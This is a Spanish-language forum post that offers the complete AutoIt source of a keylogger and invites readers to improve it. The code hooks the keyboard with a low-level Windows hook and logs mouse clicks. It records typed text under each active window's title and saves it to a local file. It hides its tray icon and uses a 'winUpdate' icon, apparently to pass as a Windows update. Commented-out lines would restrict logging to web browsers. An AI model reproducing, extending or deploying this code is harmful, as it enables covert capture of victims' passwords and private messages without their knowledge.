SI ES NECESARIO BORRAR EL POST, haganlo nomás, no hay resentimiento comprendo.
CARACTERISTICAS
- Cada cierto tiempo comprueba el tiempo transcurrido de la pulsacion de la ultima tecla con el fin de imprimir palabras completas. (espero hacerme entender)
- Por cada cambio de ventana imprime lo escrito con el titulo de la ventana en la que se escribió. (No importa si hizo clic o utilizo CTRL+TAB)
- Registra solo un espacio, asi haya pulsado varias veces, el sw hace comprobaciones simples y no registra en exceso solo esas pulsaciones de espacio.
- Borrado simple, osea que si el usuario está tecleando y presiona BORRAR, va eliminando los ultimos caracteres conforme las pulsaciones de eraser.
- Registra en un archivo "RegistroKeylogger.txt"
Entre otras...
DESVENTAJAS
- No captura letras con tildes
- No captura combinaciones de teclas
- Muchas desventajas mas, posibles por encontrar.
PD.: Si alguien pudiese mejorarle, enhorabuena
EDIT: CORREGIDO ALGUNAS COSILLAS
Código: Seleccionar todo
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=iconos\winUpdate.ico
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <WinAPISys.au3>
#include <WinAPIvkeysConstants.au3>
#include <StructureConstants.au3>
#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <Misc.au3>
#include <WinAPIDiag.au3>
#include <Process.au3>
#include <WinAPIShPath.au3>
#include <APISysConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WinAPIGdi.au3>
#include <WinAPIMisc.au3>
_Singleton('KeyLogger')
Global Const $sFilePath = @ScriptDir & '\RegistroKeylogger.txt'
;-------------------------------------------------------------------------------------------------------
Global $tRID = DllStructCreate($tagRAWINPUTDEVICE)
DllStructSetData($tRID, 'UsagePage', 0x01) ; Generic Desktop Controls
DllStructSetData($tRID, 'Usage', 0x02) ; Mouse
DllStructSetData($tRID, 'Flags', $RIDEV_INPUTSINK)
DllStructSetData($tRID, 'hTarget', GUICreate('Test ', 1, 1))
_WinAPI_RegisterRawInputDevices($tRID) ; Register HID input to obtain row input from mice
GUIRegisterMsg($WM_INPUT, 'WM_INPUT')
;-------------------------------------------------------------------------------------------------------
Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = ""
Global $UserDLL = DllOpen("user32.dll")
Global $almacen, $finalizar
Global $time
Global $nombreVentanaReferenciaIngresoTexto
Global $auxAlmacen, $nombreVentana
AdlibRegister("cerrarAsunto", 30000)
Ejecutar()
Func Ejecutar()
OnAutoItExitRegister("Cleanup")
Local $hMod
$g_hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
$hMod = _WinAPI_GetModuleHandle(0)
$g_hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($g_hStub_KeyProc), $hMod)
While 1
If $finalizar = "cerrar" Then
almacenar("")
Else
nombreVentanaActiva()
If ($nombreVentanaReferenciaIngresoTexto <> "") And ($nombreVentana <> $nombreVentanaReferenciaIngresoTexto) Then
If StringLen($almacen) > 0 Then
cerrarAsunto()
EndIf
EndIf
EndIf
Sleep(10)
WEnd
EndFunc ;==>Ejecutar
Func _KeyProc($nCode, $wParam, $lParam)
Local $tKEYHOOKS
$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
If $nCode < 0 Then
Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
EndIf
Local $vk = DllStructGetData($tKEYHOOKS, "vkCode")
Local $aOnOff[2] = ['OFF', 'ON']
If $wParam = $WM_KEYDOWN Then
Else
Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")
If _IsPressed("12", $UserDLL) And _IsPressed("51", $UserDLL) Then
almacenar("@")
ElseIf _IsPressed("A0", $UserDLL) And _IsPressed('BC', $UserDLL) Then
almacenar(";")
ElseIf _IsPressed("A0", $UserDLL) And _IsPressed("BD", $UserDLL) Then
almacenar("_")
Sleep(100)
ElseIf _IsPressed("A0", $UserDLL) And _IsPressed("BE", $UserDLL) Then
almacenar(":")
Sleep(100)
ElseIf _IsPressed('12', $UserDLL) Then
If _IsPressed('66', $UserDLL) Then
If _IsPressed('64', $UserDLL) Then
almacenar('@')
EndIf
EndIf
Else
If $vk >= 0x41 And $vk <= 0x5A Then ;alfabeto
If $aOnOff[BitAND(_WinAPI_GetKeyState(0x14), 1)] = 'OFF' Then
almacenar(StringLower(Chr($vk)))
Else
almacenar(StringUpper(Chr($vk)))
EndIf
ElseIf $vk = 0x20 Then ;espacio
almacenar(' ')
ElseIf $vk = 0x0D Then ;ENTER
almacenar(" -- ") ;(@CRLF)
ElseIf $vk >= 0x30 And $vk <= 0x39 Then ;numerosTeclado
almacenar(Chr($vk))
ElseIf $vk >= 0x60 And $vk <= 0x69 Then ; numero NumPad
almacenar(StringTrimLeft(Hex($vk), 15))
ElseIf $vk = 0x09 Then ;TAB
almacenar(" ") ;(@TAB)
ElseIf $vk >= 0x6A And $vk <= 0x6E Then
If $vk = 0x6A Then almacenar('*')
If $vk = 0x6B Then almacenar('+')
If $vk = 0x6C Then almacenar('SEPARATOR KEY')
If $vk = 0x6D Then almacenar('-')
If $vk = 0x6E Then almacenar('.')
ElseIf $vk >= 0xBA And $vk <= 0xBF Then
If $vk = 0xBA Then almacenar(':')
If $vk = 0xBB Then almacenar('+')
If $vk = 0xBC Then almacenar(',')
If $vk = 0xBD Then almacenar('-')
If $vk = 0xBE Then almacenar('.')
If $vk = 0xBF Then almacenar('/')
ElseIf $vk = '192' Then
If $aOnOff[BitAND(_WinAPI_GetKeyState(0x14), 1)] = 'OFF' Then
almacenar(StringLower('ñ'))
Else
almacenar(StringUpper('ñ'))
EndIf
ElseIf $vk = 164 Then
;~ almacenar('@')
Else
If $vk = 188 Then almacenar(',')
If $vk = 190 Then almacenar('.')
If $vk = 189 Then almacenar('-')
If $vk = 222 Then almacenar('{')
If $vk = 191 Then almacenar('}')
If $vk = 186 Then almacenar('´')
If $vk = 220 Then almacenar('|')
If $vk = 219 Then almacenar("'") ; comilla simple
If $vk = 221 Then almacenar('¿') ;
If $vk = 106 Then almacenar('*')
If $vk = 109 Then almacenar('-')
If $vk = 8 Then ; almacenar(' ') ;espacio
$almacen = StringTrimRight($almacen, 1)
EndIf
If $vk = 13 Then almacenar(" -- ") ;ENTER
EndIf
EndIf
EndIf
EndFunc ;==>_KeyProc
;
Func nombreVentanaActiva()
Local $aList = WinList()
For $i = 1 To $aList[0][0]
If $aList[$i][0] <> "" And BitAND(WinGetState($aList[$i][1]), 2) Then
If WinActive($aList[$i][0]) Then
$nombreVentana = $aList[$i][0]
EndIf
EndIf
Next
Return $nombreVentana
EndFunc ;==>nombreVentanaActiva
Func almacenar($aux)
Local $hFileOpen
$nombreVentanaReferenciaIngresoTexto = $nombreVentana
If StringRight($almacen, 1) = " " And $aux = " " Then
; al quitar toda esta condicional, registra todos los espacios que se pulsen, para que registre todos
; los espacios debe quedar solo $almacen &= $aux
Else
$almacen &= $aux
EndIf
$time = Number(@HOUR & @MIN & @SEC)
If $finalizar = "cerrar" Then
If StringLen($almacen) > 0 And $almacen <> " " Then
ConsoleWrite($almacen)
$hFileOpen = FileOpen(@ScriptDir & '\RegistroKeylogger.txt', $FO_APPEND)
If $hFileOpen = -1 Then
Return False
Else
If Not FileWrite($hFileOpen, $almacen) Then
Return False
Else
$almacen = ''
If $finalizar = 'cerrar' Then $finalizar = ''
EndIf
EndIf
FileClose($hFileOpen)
EndIf
EndIf
EndFunc ;==>almacenar
Func Cleanup()
_WinAPI_UnhookWindowsHookEx($g_hHook)
DllCallbackFree($g_hStub_KeyProc)
EndFunc ;==>Cleanup
Func WM_INPUT($hWnd, $iMsg, $wParam, $lParam) ;REGISTRAR CLICK IZQUIERDO
#forceref $iMsg, $wParam
Local $tRIM = DllStructCreate($tagRAWINPUTMOUSE)
If _WinAPI_GetRawInputData($lParam, $tRIM, DllStructGetSize($tRIM), $RID_INPUT) Then
Local $iFlags = DllStructGetData($tRIM, 'Flags')
$iFlags = DllStructGetData($tRIM, 'ButtonFlags')
If BitAND($iFlags, $RI_MOUSE_LEFT_BUTTON_DOWN) Then
If StringRight($almacen, 7) <> " -clk- " And StringLen($almacen) > 0 And Not StringIsSpace($almacen) Then
$almacen &= " -clk- "
EndIf
EndIf
EndIf
Return $GUI_RUNDEFMSG
EndFunc ;==>WM_INPUT
Func cerrarAsunto() ;@HOUR& @MIN &@SEC& @CRLF ;
;NOTA: Si habilitan lo que está en
;comentarios, SOLO te registrará lo
;que se haya escrito en algun navegador
If (Number(@HOUR & @MIN & @SEC) - $time) > 5 Or ($nombreVentanaReferenciaIngresoTexto <> "" And $nombreVentana <> $nombreVentanaReferenciaIngresoTexto) Then
If StringLen($almacen) > 0 Then
If Not StringIsSpace($almacen) And $almacen <> " -- " Then
If $auxAlmacen <> '' And StringInStr($auxAlmacen, $nombreVentanaReferenciaIngresoTexto) Then
;~ If StringInStr($auxAlmacen, "chrome") Or StringInStr($auxAlmacen, "Firefox") _
;~ Or StringInStr($auxAlmacen, "Opera") Or StringInStr($auxAlmacen, "Safari") _
;~ Or StringInStr($auxAlmacen, "Internet Explorer") Or StringInStr($auxAlmacen, "Microsoft Edge") Then
$almacen = @CRLF & @HOUR & ":" & @MIN & "." & @SEC & @TAB & $almacen
$finalizar = "cerrar"
;~ Else
;~ $almacen = ""
;~ EndIf
Else
;~ If StringInStr($nombreVentanaReferenciaIngresoTexto, "chrome") Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Firefox") _
;~ Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Opera") Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Safari") _
;~ Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Internet Explorer") Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Microsoft Edge") Then
$almacen = @CRLF & @CRLF & "VENTANA.: - " & $nombreVentanaReferenciaIngresoTexto & @CRLF & @HOUR & ":" & @MIN & "." & @SEC & @TAB & $almacen
$auxAlmacen = $almacen
$finalizar = "cerrar"
;~ Else
;~ $auxAlmacen = ""
;~ $almacen = ""
;~ EndIf
EndIf
EndIf
EndIf
EndIf
EndFunc ;==>cerrarAsunto